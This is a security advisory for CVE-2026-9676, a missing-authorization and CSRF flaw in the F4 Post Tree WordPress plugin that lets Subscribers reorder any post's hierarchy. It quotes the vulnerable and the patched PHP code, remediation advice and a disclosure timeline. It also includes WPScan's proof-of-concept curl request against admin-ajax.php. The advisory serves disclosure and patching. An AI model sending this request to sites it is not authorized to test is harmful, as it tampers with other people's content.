- Product
- F4 Post Tree (WordPress plugin)
- Versions
- Before 2.0.5 · fixed in 2.0.5
- Severity
- MediumCVSS score 4.3 · WPScan
- CVE
- CVE-2026-9676, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on June 29, 2026
Description
The F4 Post Tree WordPress plugin before 2.0.5 does not perform capability checks or CSRF/nonce verification on one of its AJAX actions, allowing authenticated users with Subscriber-level access and above to modify the parent and menu order of arbitrary posts.
From the CVE record · CWE-862 Missing Authorization and CWE-352 Cross-Site Request Forgery (CSRF)
Technical analysis
In 2.0.4, ajax_move_tree_post() takes the posts_sorted list of post_id/parent_post_id pairs and, for every entry, runs an UPDATE on the posts table that sets post_parent and menu_order for that post ID. Between building the list and running the updates the handler performs no capability check and no nonce verification, so the requested hierarchy changes are applied for any user who can call the AJAX action, whether or not they may edit those posts.
$posts_sorted = apply_filters('F4/TREE/Tree/move_tree_post_get_sorted_post_ids', $posts_sorted);
$lang = isset($_REQUEST['lang']) ? sanitize_title($_REQUEST['lang']) : '';
Core::maybe_change_current_language(
$lang
);
$current_post_menu_order = -1;
foreach($posts_sorted as $post_index => $post_item) {
$wpdb->query(
$wpdb->prepare(
"UPDATE $wpdb->posts SET post_parent = %d, menu_order = %d WHERE ID = %d",
(int)$post_item['parent_post_id'],
(int)$post_index,
(int)$post_item['post_id']
)
);
2.0.5 looks up the requested post type object and stops with wp_send_json_error() if it is missing, if posts_sorted is empty, or if current_user_can() fails for that post type's edit_posts capability, before any UPDATE runs.
$posts_sorted = apply_filters('F4/TREE/Tree/move_tree_post_get_sorted_post_ids', $posts_sorted);
$lang = isset($_REQUEST['lang']) ? sanitize_title($_REQUEST['lang']) : '';
$post_type_obj = get_post_type_object($post_type);
if(!$post_type_obj || empty($posts_sorted)) {
wp_send_json_error();
}
if(!current_user_can($post_type_obj->cap->edit_posts)) {
wp_send_json_error();
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on June 8, 2026.
1. As an Administrator, create two pages (e.g. Page A with ID 3 and Page B with ID 4), both with post_parent = 0.
2. Log in as a Subscriber user.
3. Send the following request from the Subscriber session:
curl '{TARGET}/wp-admin/admin-ajax.php?action=f4_tree_move_post' \
-X POST \
--data-urlencode 'post_id=4' \
--data-urlencode 'post_type=page' \
--data-urlencode 'posts_sorted=[{"post_id":4,"parent_post_id":3}]' \
-b 'wordpress_logged_in_HASH=subscriber_cookie'
4. The response returns HTTP 200 with a JSON body, and page 4's post_parent is now set to 3, confirming a Subscriber modified the page hierarchy. The same primitive works against any post via post_type=post.Severity
WPScan rates it 4.3 (medium). CISA’s ADP scores it 4.3 (medium) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NCISA ADP
Remediation
Update f4 Post Tree to 2.0.5 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3562450).
- Version 2.0.5 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.